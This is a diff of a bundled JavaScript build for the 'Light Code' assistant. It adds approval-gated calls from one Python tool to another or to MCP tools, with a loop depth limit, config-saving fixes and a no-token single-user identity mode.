var PYTHON_WORKER_SOURCE = '"""Light Code\'s Python tool worker.\n\nOne long-lived process per workspace, speaking JSON-RPC over stdio. It owns three jobs the\nTypeScript side cannot do for itself:\n\n* deriving a JSON Schema from ``run``\'s type hints, so tool metadata is never hand-written\n and therefore never drifts from the code (CLAUDE.md \xA713);\n* importing and reloading tool modules, so a tool edited mid-session takes effect without\n restarting;\n* running the tool.\n\nFraming is one JSON object per line. Length-prefixing would be sturdier, but a tool that\nprints to stdout is *common* \u2014 so the reader tolerates unparseable lines instead, treating\nthem as the tool\'s own output rather than corrupting the channel.\n"""\n\nfrom __future__ import annotations\n\nimport importlib.util\nimport inspect\nimport io\nimport json\nimport re\nimport sys\nimport traceback\nfrom contextlib import redirect_stdout\nfrom pathlib import Path\nfrom typing import Any\n\n# Loaded modules, keyed by tool name, so a reload replaces rather than shadows.\n_MODULES: dict[str, Any] = {}\n\n\ndef _respond(payload: dict[str, Any]) -> None:\n """Write one frame.\n\n Always to the real stdout, captured at import time \u2014 a tool that reassigns\n ``sys.stdout`` would otherwise silently swallow every subsequent reply.\n """\n _REAL_STDOUT.write(json.dumps(payload) + "\\n")\n _REAL_STDOUT.flush()\n\n\n_REAL_STDOUT = sys.stdout\n\n\ndef _load(name: str, path: str) -> Any:\n """Imports a tool module from an explicit path, replacing any previous version."""\n spec = importlib.util.spec_from_file_location(f"light_code_tool_{name}", path)\n if spec is None or spec.loader is None:\n raise ImportError(f"could not load {path}")\n module = importlib.util.module_from_spec(spec)\n # Executed with the tool\'s own stdout captured: a print at import time would otherwise\n # land in the middle of the JSON-RPC stream.\n with redirect_stdout(io.StringIO()):\n spec.loader.exec_module(module)\n if not hasattr(module, "run"):\n raise AttributeError(f"{path} defines no `run` function")\n _MODULES[name] = module\n return module\n\n\ndef _google_arg_docs(doc: str) -> dict[str, str]:\n """Pulls parameter descriptions out of a Google-style ``Args:`` block.\n\n Best-effort by design. A missing description costs the model a hint; a parser that threw\n would cost it the whole tool.\n """\n docs: dict[str, str] = {}\n match = re.search(r"^\\s*Args:\\s*$(.*?)(?=^\\s*\\w+:\\s*$|\\Z)", doc, re.MULTILINE | re.DOTALL)\n if not match:\n return docs\n for line in match.group(1).splitlines():\n entry = re.match(r"\\s*(\\w+)\\s*(?:\\([^)]*\\))?\\s*:\\s*(.+)", line)\n if entry:\n docs[entry.group(1)] = entry.group(2).strip()\n return docs\n\n\n#: Annotations the fallback can map without pydantic. Anything else becomes a string,\n#: which is lossy but callable.\n_PRIMITIVE_TYPES: dict[Any, str] = {\n str: "string",\n bool: "boolean",\n int: "integer",\n float: "number",\n list: "array",\n dict: "object",\n}\n\n\ndef _fallback_schema(run: Any) -> dict[str, Any]:\n """Derives a schema from bare annotations, for when pydantic is not installed.\n\n Worth doing properly rather than declaring everything a string: a ``bool`` advertised as\n a string means the model sends ``"true"`` and the tool receives the string ``"true"``,\n which is truthy for every value including ``"false"``. Silent, and wrong.\n """\n signature = inspect.signature(run)\n properties: dict[str, Any] = {}\n required: list[str] = []\n\n for name, parameter in signature.parameters.items():\n if parameter.kind in (parameter.VAR_POSITIONAL, parameter.VAR_KEYWORD):\n continue\n annotation = parameter.annotation\n # A string annotation appears under `from __future__ import annotations`; resolving\n # it properly needs typing.get_type_hints, which can itself fail on a forward ref.\n if isinstance(annotation, str):\n annotation = {"str": str, "bool": bool, "int": int, "float": float}.get(annotation, inspect.Parameter.empty)\n properties[name] = {"type": _PRIMITIVE_TYPES.get(annotation, "string")}\n if parameter.default is parameter.empty:\n required.append(name)\n\n return {"type": "object", "properties": properties, "required": required}\n\n\ndef _schema_for(module: Any) -> dict[str, Any]:\n """Derives the parameter schema from ``run``\'s type hints.\n\n pydantic when available, because it handles unions, defaults, nested models and\n ``Optional`` correctly. The fallback treats every parameter as a string, which is worse\n but still callable \u2014 better than refusing to register a tool because pydantic is missing.\n """\n run = module.run\n try:\n from pydantic import TypeAdapter\n\n schema = TypeAdapter(run).json_schema()\n properties = schema.get("properties", {})\n except Exception: # noqa: BLE001 - any pydantic failure falls back rather than failing\n schema = _fallback_schema(run)\n properties = schema["properties"]\n\n doc = inspect.getdoc(run) or inspect.getdoc(module) or ""\n for name, description in _google_arg_docs(doc).items():\n if name in properties:\n properties[name]["description"] = description\n\n schema.setdefault("type", "object")\n schema["properties"] = properties\n return schema\n\n\ndef _describe(name: str, path: str) -> dict[str, Any]:\n module = _load(name, path)\n # The module docstring, not run\'s: it describes the tool, whereas run\'s docstring\n # usually documents the parameters.\n description = (inspect.getdoc(module) or inspect.getdoc(module.run) or "").strip()\n return {"name": name, "description": description, "schema": _schema_for(module)}\n\n\ndef _handle(request: dict[str, Any]) -> dict[str, Any]:\n method = request.get("method")\n params = request.get("params") or {}\n\n if method == "ping":\n return {"ok": True, "python": sys.version}\n\n if method == "describe":\n return _describe(params["name"], params["path"])\n\n if method == "validate":\n # Parsed before importing, so a syntax error is reported as one rather than as\n # whatever the import machinery happens to raise.\n source = Path(params["path"]).read_text(encoding="utf-8")\n compile(source, params["path"], "exec")\n return _describe(params["name"], params["path"])\n\n if method == "call":\n name = params["name"]\n module = _MODULES.get(name)\n if module is None:\n module = _load(name, params["path"])\n # Reloaded when the caller says the file changed, so an edit mid-session takes\n # effect without a restart.\n if params.get("reload"):\n module = _load(name, params["path"])\n\n captured = io.StringIO()\n with redirect_stdout(captured):\n result = module.run(**(params.get("arguments") or {}))\n printed = captured.getvalue()\n return {\n "result": result,\n # Returned rather than discarded: a print is how people debug, and swallowing it\n # makes a misbehaving tool impossible to diagnose from the chat.\n "stdout": printed,\n }\n\n raise ValueError(f"unknown method: {method}")\n\n\ndef main() -> None:\n for line in sys.stdin:\n line = line.strip()\n if not line:\n continue\n try:\n request = json.loads(line)\n except json.JSONDecodeError:\n continue\n\n request_id = request.get("id")\n try:\n _respond({"id": request_id, "ok": True, "value": _handle(request)})\n except Exception as error: # noqa: BLE001 - every failure goes back as a result\n # The traceback is the payload: \xA713 requires a failed tool to return it to the\n # model so it can fix its own code, rather than a one-line summary it cannot act on.\n _respond(\n {\n "id": request_id,\n "ok": False,\n "error": f"{type(error).__name__}: {error}",\n "traceback": traceback.format_exc(),\n }\n )\n\n\nif __name__ == "__main__":\n main()\n';
|
|
55618
|
+
var PYTHON_WORKER_SOURCE = '"""Light Code\'s Python tool worker.\r\n\r\nOne long-lived process per workspace, speaking JSON-RPC over stdio. It owns three jobs the\r\nTypeScript side cannot do for itself:\r\n\r\n* deriving a JSON Schema from ``run``\'s type hints, so tool metadata is never hand-written\r\n and therefore never drifts from the code (CLAUDE.md \xA713);\r\n* importing and reloading tool modules, so a tool edited mid-session takes effect without\r\n restarting;\r\n* running the tool.\r\n\r\nFraming is one JSON object per line. Length-prefixing would be sturdier, but a tool that\r\nprints to stdout is *common* \u2014 so the reader tolerates unparseable lines instead, treating\r\nthem as the tool\'s own output rather than corrupting the channel.\r\n"""\r\n\r\nfrom __future__ import annotations\r\n\r\nimport importlib.util\r\nimport inspect\r\nimport io\r\nimport json\r\nimport re\r\nimport sys\r\nimport traceback\r\nimport types\r\nfrom contextlib import redirect_stdout\r\nfrom pathlib import Path\r\nfrom typing import Any\r\n\r\n# Loaded modules, keyed by tool name, so a reload replaces rather than shadows.\r\n_MODULES: dict[str, Any] = {}\r\n\r\n\r\ndef _respond(payload: dict[str, Any]) -> None:\r\n """Write one frame.\r\n\r\n Always to the real stdout, captured at import time \u2014 a tool that reassigns\r\n ``sys.stdout`` would otherwise silently swallow every subsequent reply.\r\n """\r\n _REAL_STDOUT.write(json.dumps(payload) + "\\n")\r\n _REAL_STDOUT.flush()\r\n\r\n\r\n_REAL_STDOUT = sys.stdout\r\n_REAL_STDIN = sys.stdin\r\n\r\n# Counts nested calls out to the host, so a loop is stopped rather than left to fill the pipe.\r\n_CALL_DEPTH = 0\r\n_MAX_DEPTH = 4\r\n_CURRENT_TOOL = ""\r\n_CALL_SEQ = 0\r\n\r\n\r\nclass ToolError(RuntimeError):\r\n """A tool this one called came back with a failure."""\r\n\r\n\r\ndef call_tool(name: str, **arguments: Any) -> Any:\r\n """Calls another tool and returns its result.\r\n\r\n Available to every tool as ``light_code.call_tool``. Only other Python tools and MCP\r\n tools can be reached; see the host for why.\r\n\r\n This blocks the worker, which is correct: the tool asked for something and cannot\r\n continue without it. The host may prompt the user before running it, so it can take as\r\n long as a person takes to answer.\r\n """\r\n global _CALL_DEPTH\r\n if _CALL_DEPTH >= _MAX_DEPTH:\r\n raise ToolError(\r\n f"tool calls are nested {_MAX_DEPTH} deep, which is almost certainly a loop - "\r\n "a tool calling itself, or two calling each other"\r\n )\r\n\r\n global _CALL_SEQ\r\n _CALL_SEQ += 1\r\n # A counter, not ``id()``: CPython reuses an address the moment the object is collected, so\r\n # two calls in a row could be handed the same token.\r\n token = f"cb{_CALL_SEQ}"\r\n _CALL_DEPTH += 1\r\n try:\r\n _respond(\r\n {\r\n "callback": token,\r\n "method": "call_tool",\r\n "name": name,\r\n "arguments": arguments,\r\n "caller": _CURRENT_TOOL,\r\n }\r\n )\r\n # Read until the answer to *this* call arrives. Anything else on the stream would be a\r\n # protocol error rather than something to skip, so it is reported rather than ignored.\r\n while True:\r\n line = _REAL_STDIN.readline()\r\n if not line:\r\n raise ToolError("the host closed the connection while waiting for " + name)\r\n line = line.strip()\r\n if not line:\r\n continue\r\n frame = json.loads(line)\r\n\r\n if frame.get("callback") == token:\r\n if frame.get("ok"):\r\n return frame.get("value")\r\n raise ToolError(frame.get("error") or f"{name} failed")\r\n\r\n # An ordinary request, arriving while this tool is blocked.\r\n #\r\n # It happens for real: the tool this one called is *another Python tool*, so the host\r\n # sends it down the same pipe while we are still waiting. Skipping it would deadlock \u2014\r\n # the host waits for a reply that nobody is reading for \u2014 and treating it as an\r\n # out-of-order answer, which the first version did, fails every nested call between\r\n # two Python tools. So it is served here and the wait resumes.\r\n if "method" in frame:\r\n request_id = frame.get("id")\r\n try:\r\n _respond({"id": request_id, "ok": True, "value": _handle(frame)})\r\n except Exception as error: # noqa: BLE001 - every failure goes back as a result\r\n _respond(\r\n {\r\n "id": request_id,\r\n "ok": False,\r\n "error": f"{type(error).__name__}: {error}",\r\n "traceback": traceback.format_exc(),\r\n }\r\n )\r\n continue\r\n\r\n raise ToolError(\r\n "unexpected frame while waiting for " + name + "; this is a bug in Light Code"\r\n )\r\n finally:\r\n _CALL_DEPTH -= 1\r\n\r\n\r\ndef _install_helper_module() -> None:\r\n """Publishes ``light_code`` so a tool can ``import light_code`` and call other tools.\r\n\r\n A real module in ``sys.modules`` rather than a builtin or an injected global: a tool is\r\n an ordinary Python file that must also be readable, lintable and runnable on its own\r\n terms, and magic names appearing from nowhere break every one of those.\r\n """\r\n if "light_code" in sys.modules:\r\n return\r\n module = types.ModuleType("light_code")\r\n module.call_tool = call_tool # type: ignore[attr-defined]\r\n module.ToolError = ToolError # type: ignore[attr-defined]\r\n sys.modules["light_code"] = module\r\n\r\n\r\ndef _load(name: str, path: str) -> Any:\r\n """Imports a tool module from an explicit path, replacing any previous version."""\r\n _install_helper_module()\r\n spec = importlib.util.spec_from_file_location(f"light_code_tool_{name}", path)\r\n if spec is None or spec.loader is None:\r\n raise ImportError(f"could not load {path}")\r\n module = importlib.util.module_from_spec(spec)\r\n # Executed with the tool\'s own stdout captured: a print at import time would otherwise\r\n # land in the middle of the JSON-RPC stream.\r\n with redirect_stdout(io.StringIO()):\r\n spec.loader.exec_module(module)\r\n if not hasattr(module, "run"):\r\n raise AttributeError(f"{path} defines no `run` function")\r\n _MODULES[name] = module\r\n return module\r\n\r\n\r\ndef _google_arg_docs(doc: str) -> dict[str, str]:\r\n """Pulls parameter descriptions out of a Google-style ``Args:`` block.\r\n\r\n Best-effort by design. A missing description costs the model a hint; a parser that threw\r\n would cost it the whole tool.\r\n """\r\n docs: dict[str, str] = {}\r\n match = re.search(r"^\\s*Args:\\s*$(.*?)(?=^\\s*\\w+:\\s*$|\\Z)", doc, re.MULTILINE | re.DOTALL)\r\n if not match:\r\n return docs\r\n for line in match.group(1).splitlines():\r\n entry = re.match(r"\\s*(\\w+)\\s*(?:\\([^)]*\\))?\\s*:\\s*(.+)", line)\r\n if entry:\r\n docs[entry.group(1)] = entry.group(2).strip()\r\n return docs\r\n\r\n\r\n#: Annotations the fallback can map without pydantic. Anything else becomes a string,\r\n#: which is lossy but callable.\r\n_PRIMITIVE_TYPES: dict[Any, str] = {\r\n str: "string",\r\n bool: "boolean",\r\n int: "integer",\r\n float: "number",\r\n list: "array",\r\n dict: "object",\r\n}\r\n\r\n\r\ndef _fallback_schema(run: Any) -> dict[str, Any]:\r\n """Derives a schema from bare annotations, for when pydantic is not installed.\r\n\r\n Worth doing properly rather than declaring everything a string: a ``bool`` advertised as\r\n a string means the model sends ``"true"`` and the tool receives the string ``"true"``,\r\n which is truthy for every value including ``"false"``. Silent, and wrong.\r\n """\r\n signature = inspect.signature(run)\r\n properties: dict[str, Any] = {}\r\n required: list[str] = []\r\n\r\n for name, parameter in signature.parameters.items():\r\n if parameter.kind in (parameter.VAR_POSITIONAL, parameter.VAR_KEYWORD):\r\n continue\r\n annotation = parameter.annotation\r\n # A string annotation appears under `from __future__ import annotations`; resolving\r\n # it properly needs typing.get_type_hints, which can itself fail on a forward ref.\r\n if isinstance(annotation, str):\r\n annotation = {"str": str, "bool": bool, "int": int, "float": float}.get(annotation, inspect.Parameter.empty)\r\n properties[name] = {"type": _PRIMITIVE_TYPES.get(annotation, "string")}\r\n if parameter.default is parameter.empty:\r\n required.append(name)\r\n\r\n return {"type": "object", "properties": properties, "required": required}\r\n\r\n\r\ndef _schema_for(module: Any) -> dict[str, Any]:\r\n """Derives the parameter schema from ``run``\'s type hints.\r\n\r\n pydantic when available, because it handles unions, defaults, nested models and\r\n ``Optional`` correctly. The fallback treats every parameter as a string, which is worse\r\n but still callable \u2014 better than refusing to register a tool because pydantic is missing.\r\n """\r\n run = module.run\r\n try:\r\n from pydantic import TypeAdapter\r\n\r\n schema = TypeAdapter(run).json_schema()\r\n properties = schema.get("properties", {})\r\n except Exception: # noqa: BLE001 - any pydantic failure falls back rather than failing\r\n schema = _fallback_schema(run)\r\n properties = schema["properties"]\r\n\r\n doc = inspect.getdoc(run) or inspect.getdoc(module) or ""\r\n for name, description in _google_arg_docs(doc).items():\r\n if name in properties:\r\n properties[name]["description"] = description\r\n\r\n schema.setdefault("type", "object")\r\n schema["properties"] = properties\r\n return schema\r\n\r\n\r\ndef _describe(name: str, path: str) -> dict[str, Any]:\r\n module = _load(name, path)\r\n # The module docstring, not run\'s: it describes the tool, whereas run\'s docstring\r\n # usually documents the parameters.\r\n description = (inspect.getdoc(module) or inspect.getdoc(module.run) or "").strip()\r\n return {"name": name, "description": description, "schema": _schema_for(module)}\r\n\r\n\r\ndef _handle(request: dict[str, Any]) -> dict[str, Any]:\r\n method = request.get("method")\r\n params = request.get("params") or {}\r\n\r\n if method == "ping":\r\n return {"ok": True, "python": sys.version}\r\n\r\n if method == "describe":\r\n return _describe(params["name"], params["path"])\r\n\r\n if method == "validate":\r\n # Parsed before importing, so a syntax error is reported as one rather than as\r\n # whatever the import machinery happens to raise.\r\n source = Path(params["path"]).read_text(encoding="utf-8")\r\n compile(source, params["path"], "exec")\r\n return _describe(params["name"], params["path"])\r\n\r\n if method == "call":\r\n name = params["name"]\r\n # Recorded so a nested call can say *who* is asking. An approval prompt naming only the\r\n # callee is the prompt people click through.\r\n global _CURRENT_TOOL\r\n _CURRENT_TOOL = name\r\n module = _MODULES.get(name)\r\n if module is None:\r\n module = _load(name, params["path"])\r\n # Reloaded when the caller says the file changed, so an edit mid-session takes\r\n # effect without a restart.\r\n if params.get("reload"):\r\n module = _load(name, params["path"])\r\n\r\n captured = io.StringIO()\r\n with redirect_stdout(captured):\r\n result = module.run(**(params.get("arguments") or {}))\r\n printed = captured.getvalue()\r\n return {\r\n "result": result,\r\n # Returned rather than discarded: a print is how people debug, and swallowing it\r\n # makes a misbehaving tool impossible to diagnose from the chat.\r\n "stdout": printed,\r\n }\r\n\r\n raise ValueError(f"unknown method: {method}")\r\n\r\n\r\ndef main() -> None:\r\n for line in sys.stdin:\r\n line = line.strip()\r\n if not line:\r\n continue\r\n try:\r\n request = json.loads(line)\r\n except json.JSONDecodeError:\r\n continue\r\n\r\n request_id = request.get("id")\r\n try:\r\n _respond({"id": request_id, "ok": True, "value": _handle(request)})\r\n except Exception as error: # noqa: BLE001 - every failure goes back as a result\r\n # The traceback is the payload: \xA713 requires a failed tool to return it to the\r\n # model so it can fix its own code, rather than a one-line summary it cannot act on.\r\n _respond(\r\n {\r\n "id": request_id,\r\n "ok": False,\r\n "error": f"{type(error).__name__}: {error}",\r\n "traceback": traceback.format_exc(),\r\n }\r\n )\r\n\r\n\r\nif __name__ == "__main__":\r\n main()\r\n';
|
|
55486
55619
|
|
|
55487
55620
|
// ../../packages/core/dist/python/manager.js
|
|
55488
55621
|
var PythonManager = class {
|
|
@@ -55571,7 +55704,15 @@ var PythonManager = class {
|
|
|
55571
55704
|
cwd: this.options.workspaceRoot,
|
|
55572
55705
|
env: env2,
|
|
55573
55706
|
logger: this.options.logger,
|
|
55574
|
-
timeoutMs: this.timeoutMs
|
|
55707
|
+
timeoutMs: this.timeoutMs,
|
|
55708
|
+
/*
|
|
55709
|
+
* Passed through rather than resolved here.
|
|
55710
|
+
*
|
|
55711
|
+
* The manager has no registry and no approval gate; the host has both. Threading the
|
|
55712
|
+
* function means the rules are decided once, where the information is, instead of this
|
|
55713
|
+
* file growing an opinion about which tools a tool may call.
|
|
55714
|
+
*/
|
|
55715
|
+
...this.options.callTool !== void 0 ? { callTool: this.options.callTool } : {}
|
|
55575
55716
|
});
|
|
55576
55717
|
await this.refresh();
|
|
55577
55718
|
this.ready = true;
|
|
@@ -55737,7 +55878,15 @@ var PythonManager = class {
|
|
|
55737
55878
|
cwd: workspaceRoot,
|
|
55738
55879
|
env: env2,
|
|
55739
55880
|
logger: this.options.logger,
|
|
55740
|
-
timeoutMs: this.timeoutMs
|
|
55881
|
+
timeoutMs: this.timeoutMs,
|
|
55882
|
+
/*
|
|
55883
|
+
* Passed through rather than resolved here.
|
|
55884
|
+
*
|
|
55885
|
+
* The manager has no registry and no approval gate; the host has both. Threading the
|
|
55886
|
+
* function means the rules are decided once, where the information is, instead of this
|
|
55887
|
+
* file growing an opinion about which tools a tool may call.
|
|
55888
|
+
*/
|
|
55889
|
+
...this.options.callTool !== void 0 ? { callTool: this.options.callTool } : {}
|
|
55741
55890
|
});
|
|
55742
55891
|
await this.refresh();
|
|
55743
55892
|
this.ready = true;
|
|
@@ -59485,6 +59634,62 @@ function wireChatBridge(services) {
|
|
|
59485
59634
|
workspaceRoot,
|
|
59486
59635
|
storageDir,
|
|
59487
59636
|
logger,
|
|
59637
|
+
/*
|
|
59638
|
+
* Lets one Python tool call another, or an MCP tool.
|
|
59639
|
+
*
|
|
59640
|
+
* Here rather than in the Python package because this is the only place that can see all
|
|
59641
|
+
* three things the decision needs: the registry, the approval gate, and whether there is
|
|
59642
|
+
* anybody present to answer a prompt. `callPolicy.ts` holds the rule and the reasoning.
|
|
59643
|
+
*/
|
|
59644
|
+
callTool: async (name, args, caller) => {
|
|
59645
|
+
if (!pythonNestedCallsAllowed) {
|
|
59646
|
+
throw new Error("This run cannot call other tools from a Python tool: it is unattended, so nobody is here to approve one.");
|
|
59647
|
+
}
|
|
59648
|
+
const registry2 = currentToolRegistry();
|
|
59649
|
+
const tool = registry2.get(name) ?? registry2.get(`py__${name}`);
|
|
59650
|
+
if (tool === void 0) {
|
|
59651
|
+
throw new Error(`There is no tool called "${name}". Settings \u2192 Tools lists everything callable; an MCP tool is named with its server, like \`filesystem__read_file\`.`);
|
|
59652
|
+
}
|
|
59653
|
+
if (!mayPythonToolCall(tool.name, tool.group))
|
|
59654
|
+
throw new Error(PYTHON_CALL_DENIED);
|
|
59655
|
+
const context = pythonNestedContext;
|
|
59656
|
+
if (context === void 0) {
|
|
59657
|
+
throw new Error("No turn is in progress, so there is nothing to run this against.");
|
|
59658
|
+
}
|
|
59659
|
+
let preview;
|
|
59660
|
+
try {
|
|
59661
|
+
preview = await tool.preview?.(args, context) ?? {
|
|
59662
|
+
kind: "text",
|
|
59663
|
+
text: `${tool.name}(${JSON.stringify(args, null, 2)})`
|
|
59664
|
+
};
|
|
59665
|
+
} catch (error51) {
|
|
59666
|
+
preview = {
|
|
59667
|
+
kind: "text",
|
|
59668
|
+
text: `${tool.name}(${JSON.stringify(args, null, 2)})
|
|
59669
|
+
|
|
59670
|
+
Could not preview this: ${error51 instanceof Error ? error51.message : String(error51)}`
|
|
59671
|
+
};
|
|
59672
|
+
}
|
|
59673
|
+
const decision = await approvalGate.requestApproval({
|
|
59674
|
+
id: `py-nested-${String(Date.now())}-${tool.name}`,
|
|
59675
|
+
toolName: tool.name,
|
|
59676
|
+
group: tool.group,
|
|
59677
|
+
preview: {
|
|
59678
|
+
...preview,
|
|
59679
|
+
// Says who is asking. "Allow filesystem__write_file?" with no indication of who wants
|
|
59680
|
+
// it is exactly the prompt people click through.
|
|
59681
|
+
...preview.kind === "text" ? { text: `${describeNestedCall(caller, tool.name)}
|
|
59682
|
+
|
|
59683
|
+
${preview.text}` } : {}
|
|
59684
|
+
}
|
|
59685
|
+
});
|
|
59686
|
+
if (decision !== "approve")
|
|
59687
|
+
throw new Error(`The user did not allow "${tool.name}" to run.`);
|
|
59688
|
+
const result = await tool.execute(args, context);
|
|
59689
|
+
if (result.isError === true)
|
|
59690
|
+
throw new Error(String(result.content));
|
|
59691
|
+
return result.content;
|
|
59692
|
+
},
|
|
59488
59693
|
// Read at worker spawn, so a changed variable applies to the next worker rather than being
|
|
59489
59694
|
// frozen at construction. Added to the allowlist in minimalPythonEnv, never a way past it.
|
|
59490
59695
|
...services.sessionEnv !== void 0 ? { sessionEnv: services.sessionEnv } : {},
|
|
@@ -59504,6 +59709,7 @@ function wireChatBridge(services) {
|
|
|
59504
59709
|
void postPython();
|
|
59505
59710
|
void postSchedules();
|
|
59506
59711
|
void postTools();
|
|
59712
|
+
void postDatasetStatus();
|
|
59507
59713
|
}
|
|
59508
59714
|
});
|
|
59509
59715
|
const defaultSkillsDir = workspaceRoot !== void 0 ? path24.join(workspaceRoot, ".lightcode", "skills") : void 0;
|
|
@@ -59723,6 +59929,8 @@ function wireChatBridge(services) {
|
|
|
59723
59929
|
let backgroundRun = false;
|
|
59724
59930
|
let userTurnRunning = false;
|
|
59725
59931
|
let scheduledRunInFlight;
|
|
59932
|
+
let pythonNestedContext;
|
|
59933
|
+
let pythonNestedCallsAllowed = false;
|
|
59726
59934
|
const MENTION_SCAN_LIMIT = 2e3;
|
|
59727
59935
|
const MENTION_RESULT_LIMIT = 30;
|
|
59728
59936
|
let scheduleToolAccess;
|
|
@@ -60079,6 +60287,7 @@ function wireChatBridge(services) {
|
|
|
60079
60287
|
postMcp();
|
|
60080
60288
|
void postSchedules();
|
|
60081
60289
|
void postTools();
|
|
60290
|
+
void postDatasetStatus();
|
|
60082
60291
|
scheduleDocsReindex("MCP tools changed");
|
|
60083
60292
|
}
|
|
60084
60293
|
}, logger, () => cachedApprovals.allowedTools ?? [], () => cachedToolTimeoutSeconds);
|
|
@@ -60540,6 +60749,8 @@ function wireChatBridge(services) {
|
|
|
60540
60749
|
// lives in the VSIX, so resolving it is a host concern (§4).
|
|
60541
60750
|
...ripgrepPath !== void 0 ? { ripgrepPath } : {}
|
|
60542
60751
|
};
|
|
60752
|
+
pythonNestedContext = toolContext;
|
|
60753
|
+
pythonNestedCallsAllowed = schedule === void 0;
|
|
60543
60754
|
const mentions = await resolveMentions(text, { fs: toolContext.fs, workspaceRoot, denylist });
|
|
60544
60755
|
const messageText = attachMentions(text, mentions);
|
|
60545
60756
|
const turnOptions = {
|
|
@@ -61596,6 +61807,9 @@ function wireChatBridge(services) {
|
|
|
61596
61807
|
* is the `py__` prefix and the mcp group, not a permission category. Reported as the picker
|
|
61597
61808
|
* listing only built-in tools.
|
|
61598
61809
|
*/
|
|
61810
|
+
stores: Object.entries(config2.vectorStores ?? {}).map(([id, store]) => ({ id, label: store.label })),
|
|
61811
|
+
// Resolved here, where the fallback chain lives. See the note on the message.
|
|
61812
|
+
defaultStoreLabel: (await resolveDatasetSearch(config2).catch(() => void 0))?.store.label ?? "none",
|
|
61599
61813
|
tools: currentToolRegistry().list().filter((tool) => tool.name.startsWith("py__") || tool.group === "mcp").map((tool) => ({
|
|
61600
61814
|
name: tool.name,
|
|
61601
61815
|
description: tool.description,
|
|
@@ -62501,6 +62715,9 @@ function wireChatBridge(services) {
|
|
|
62501
62715
|
...saved.uvPath !== void 0 ? { uvPath: saved.uvPath } : {},
|
|
62502
62716
|
...saved.toolsDir !== void 0 ? { toolsDir: saved.toolsDir } : {},
|
|
62503
62717
|
...saved.venvPath !== void 0 ? { venvPath: saved.venvPath } : {},
|
|
62718
|
+
...saved.interpreterPath !== void 0 ? { interpreterPath: saved.interpreterPath } : {},
|
|
62719
|
+
// Sent so nothing the form cannot edit is invisible *and* silently rewritten.
|
|
62720
|
+
...saved.extraIndexUrls !== void 0 ? { extraIndexUrls: saved.extraIndexUrls } : {},
|
|
62504
62721
|
...saved.indexUrl !== void 0 ? { indexUrl: saved.indexUrl } : {},
|
|
62505
62722
|
...saved.offline !== void 0 ? { offline: saved.offline } : {},
|
|
62506
62723
|
...saved.timeoutSeconds !== void 0 ? { timeoutSeconds: saved.timeoutSeconds } : {},
|
|
@@ -62512,16 +62729,26 @@ function wireChatBridge(services) {
|
|
|
62512
62729
|
}
|
|
62513
62730
|
async function handleSetPython(input) {
|
|
62514
62731
|
try {
|
|
62732
|
+
const existing = (await configManager.load()).config.python ?? {};
|
|
62515
62733
|
await configManager.save("user", {
|
|
62516
62734
|
python: {
|
|
62735
|
+
...existing,
|
|
62517
62736
|
dynamicTools: input.dynamicTools,
|
|
62518
|
-
...input.uvPath !== void 0
|
|
62737
|
+
...input.uvPath !== void 0 ? input.uvPath.length > 0 ? { uvPath: input.uvPath } : { uvPath: void 0 } : {},
|
|
62519
62738
|
// Absent rather than empty when cleared, so the manager falls back to
|
|
62520
62739
|
// `.lightcode/tools` instead of resolving an empty string against the workspace.
|
|
62521
|
-
...input.toolsDir !== void 0
|
|
62522
|
-
|
|
62740
|
+
...input.toolsDir !== void 0 ? input.toolsDir.trim().length > 0 ? { toolsDir: input.toolsDir.trim() } : { toolsDir: void 0 } : {},
|
|
62741
|
+
/*
|
|
62742
|
+
* Cleared means cleared, which is why each of these deletes rather than omitting.
|
|
62743
|
+
*
|
|
62744
|
+
* With the spread of `existing` above, omitting a blank field would *keep* the old
|
|
62745
|
+
* value — so emptying the box would appear to do nothing. The three-way distinction
|
|
62746
|
+
* matters: a field the form did not send is kept, a field it sent empty is removed.
|
|
62747
|
+
*/
|
|
62748
|
+
...input.venvPath !== void 0 ? input.venvPath.trim().length > 0 ? { venvPath: input.venvPath.trim() } : { venvPath: void 0 } : {},
|
|
62749
|
+
...input.interpreterPath !== void 0 ? input.interpreterPath.trim().length > 0 ? { interpreterPath: input.interpreterPath.trim() } : { interpreterPath: void 0 } : {},
|
|
62523
62750
|
...input.timeoutSeconds !== void 0 ? { timeoutSeconds: input.timeoutSeconds } : {},
|
|
62524
|
-
...input.indexUrl !== void 0
|
|
62751
|
+
...input.indexUrl !== void 0 ? input.indexUrl.length > 0 ? { indexUrl: input.indexUrl } : { indexUrl: void 0 } : {},
|
|
62525
62752
|
...input.offline !== void 0 ? { offline: input.offline } : {}
|
|
62526
62753
|
}
|
|
62527
62754
|
});
|
|
@@ -65367,6 +65594,17 @@ ${entry.record.text}`.toLowerCase();
|
|
|
65367
65594
|
};
|
|
65368
65595
|
}
|
|
65369
65596
|
|
|
65597
|
+
// ../../packages/core/dist/python/callPolicy.js
|
|
65598
|
+
var PYTHON_CALL_DENIED = "A Python tool may only call other Python tools and MCP tools. Built-in tools \u2014 running commands, editing files, creating tools or writing skills \u2014 are deliberately out of reach: a tool body is model-authored, and approving one must not silently grant the rest.";
|
|
65599
|
+
function mayPythonToolCall(name, group) {
|
|
65600
|
+
if (name.startsWith("py__"))
|
|
65601
|
+
return true;
|
|
65602
|
+
return group === "mcp";
|
|
65603
|
+
}
|
|
65604
|
+
function describeNestedCall(caller, callee) {
|
|
65605
|
+
return `The Python tool "${caller}" is asking to call "${callee}".`;
|
|
65606
|
+
}
|
|
65607
|
+
|
|
65370
65608
|
// src/sharedConfig.ts
|
|
65371
65609
|
var EMPTY = { variables: [], adminIds: [], profiles: [] };
|
|
65372
65610
|
var SharedConfigStore = class {
|
|
@@ -65495,6 +65733,13 @@ function timingSafeEquals(a, b) {
|
|
|
65495
65733
|
function storageKeyFor(principal) {
|
|
65496
65734
|
return crypto5.createHash("sha256").update(principal.id).digest("hex").slice(0, 32);
|
|
65497
65735
|
}
|
|
65736
|
+
var OpenIdentity = class _OpenIdentity {
|
|
65737
|
+
describe = "single user, no token (--no-token)";
|
|
65738
|
+
static PRINCIPAL = { id: "local", displayName: "Local user" };
|
|
65739
|
+
async authenticate() {
|
|
65740
|
+
return _OpenIdentity.PRINCIPAL;
|
|
65741
|
+
}
|
|
65742
|
+
};
|
|
65498
65743
|
|
|
65499
65744
|
// src/security.ts
|
|
65500
65745
|
var SAFE_METHODS = /* @__PURE__ */ new Set(["GET", "HEAD", "OPTIONS"]);
|
|
@@ -66112,7 +66357,7 @@ var CONTENT_TYPES = {
|
|
|
66112
66357
|
async function startServer(options) {
|
|
66113
66358
|
const log = options.logSink ?? ((line) => process.stderr.write(`${line}
|
|
66114
66359
|
`));
|
|
66115
|
-
